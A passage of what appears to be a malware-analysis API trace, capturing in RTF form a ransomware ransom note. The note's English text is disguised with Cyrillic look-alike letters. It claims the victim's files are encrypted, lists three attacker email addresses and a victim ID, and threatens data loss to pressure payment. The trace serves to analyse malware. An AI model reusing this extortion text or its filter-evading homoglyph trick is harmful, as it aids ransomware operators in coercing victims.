r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x2770358, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r 